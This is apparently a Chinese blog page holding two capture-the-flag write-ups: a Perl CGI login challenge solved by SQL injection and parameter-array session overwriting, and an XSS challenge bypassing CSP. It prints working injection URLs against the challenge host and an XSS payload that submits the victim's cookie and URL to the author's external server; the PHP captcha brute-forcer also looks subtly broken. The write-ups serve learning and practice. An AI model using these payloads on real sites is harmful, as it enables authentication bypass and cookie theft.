分类 WriteUp 下的文章

pwnhub_2017_1214 WriteUp

1

看到cgi,猜测题目目录在/cgi-bin/下

2

分析源码第23行,是存在注入的

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

但是看后面的逻辑,session['autheduser'] == 'admin' 时才会有flag,哇这么简单的吗。于是注入语句出来了

http://54.222.248.100/cgi-bin/index.cgi?user=admin' and '$a$'=substr((select password from users where username='admin'),$1$,1) union select 'c4ca4238a0b923820dcc509a6f75849b&pass=1&login=login

得到md5:63730edfab254f34761c17e89de28086,解不出来。
根据R菊苣的ID加规则爆破一波?还不如直接爆破,放弃。

3

    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] != '' && $q->param('pass') != '' && $row[0] == $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }

然后通过队友提示得到了一篇文章

http://blog.gerv.net/2014/10/new-class-of-vulnerability-in-perl-web-applications/
index.cgi?foo=bar&foo=baz&foo=quux

#给数组时
@values = $cgi->param('foo');
-->
['bar', 'baz', 'quux']

#数组赋值给标量时取第一个值
$value = $cgi->param('foo'); 
-->
'bar'

#数组复制给散列时,两两一对,变成索引和键值
my @array = ("foo", 3, "bar", 6);
my %hash = @array;
-->
{ "foo" => 3, "bar" => 6 }

然后看文章

如果使用四个参数调用 new() 方法,前三个参数的处理逻辑与前端介绍的相同,第四个参数必须
是一个 hashref(哈希的引用)类型。它会被 CGI::Session 对象作为 “参数” 使用。详情
参见对【\%session_params】的介绍。

说明$s->param可以是散列的,所以就可以达成变量覆盖的效果。前方q->param('use')是个标量。所以poc为

http://54.222.248.100/cgi-bin/index.cgi?user=' union select 'c4ca4238a0b923820dcc509a6f75849b&user=autheduser&user=admin&pass=1&login=login

4 题目源码

#!/usr/bin/perl
 
use CGI;
my $q = new CGI;
 
use CGI::Session;
use Digest::MD5;
my $md5 = Digest::MD5->new;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M');
 
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017 the real SqlRF', -bgcolor=>'black');
 
my $errmsg = '';
if($q->param('login') != '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      $md5->add($q->param('pass'));
      if($row[0] != '' && $q->param('pass') != '' && $row[0] == $md5->clone->hexdigest) {
        $s->param('autheduser', $q->param('user'));
        print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
        if ($s->param('autheduser') eq 'admin') {
            print "FLAG</p>";
        } else {
            print "Only admin can get the flag!</p>";
    }
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);
 
print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

HCTF一道web题学到的新姿势

彩笔一个。感觉其中一道xss的题目学到了新的姿势,挺有意思的。

QQ20161127-0@2x.png

首先是提交的时候一个MD5的碰撞,写个脚本就好了。1s就能碰撞出来。
然后抓包提交message。一段时间内,这个验证是不会立即失效。

<?php
$captcha=$_GET['md5'];
while(1){
        $str="`1234567890";
        $str+="-=~!@#$%^&*()_+]"; 
        $str+="[poiuytrewqas";
        $str+="dfghjkl;'/.,mn";
        $str+="bvcxzZXCVBNM<>?:"
        $str+="LKJHGFDSAQWERTYUIOP{}|";
        $daima="$pass=$str[rand(0,90)].$str[rand(0,90)]";  
        $daima+=".$str[rand(0,90)].$str[rand(0,90)].$str[rand(0,90)]";
        eval($daima); //终于对齐了
        $scert=substr(md5($pass),0,4);
        if($scert==$captcha) {
                echo "found ".$pass."       md5 is :".$scert."\n";
                break;
        }
}
?>

QQ20161127-1@2x.png

发现script on img 等全被过滤

QQ20161127-2@2x.png

包含轻松绕过。那么我们的重点也就来了,看http头

QQ20161127-3@2x.png

发现了Content-Security-Policy这个东西。什么是CSP呢

以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离代码和数据,帮助网站支持CSP技术避免潜在的跨站攻击。

以上来自百度百科。我的简短理解就是,浏览器允许加载白名单以内的css资源,js资源,img资源,等等一切能在网页上显示的资源。所以我们如果这里直接远程加载xss平台的代码话,不会直接执行。

这里有一篇英文。Please ClickMe

既然不能加载信息。我们可以发送请求啊。于是就有了以下的payload

<script>
function sub(){
    document.getElementById("key").value=document.cookie;
    document.getElementById("url").value=location.href;
    document.pass.submit();
}
setTimeout(sub,1);

</script>
<form name="pass" action="http://anx1ang.win/index.php" method="GET">
<input id="key" type=hidden name="cookie"  />
<input id="url" type=hidden name="url">
</form>

比较坑的是前面提到的过滤了script on 所以这里的on 和script 都有多写两次,这里为了看着顺眼,就不多写啦。
回自己的vps查看log
QQ20161127-4@2x.png

页面带上cookie后,成功得到flag
QQ20161127-6@2x.png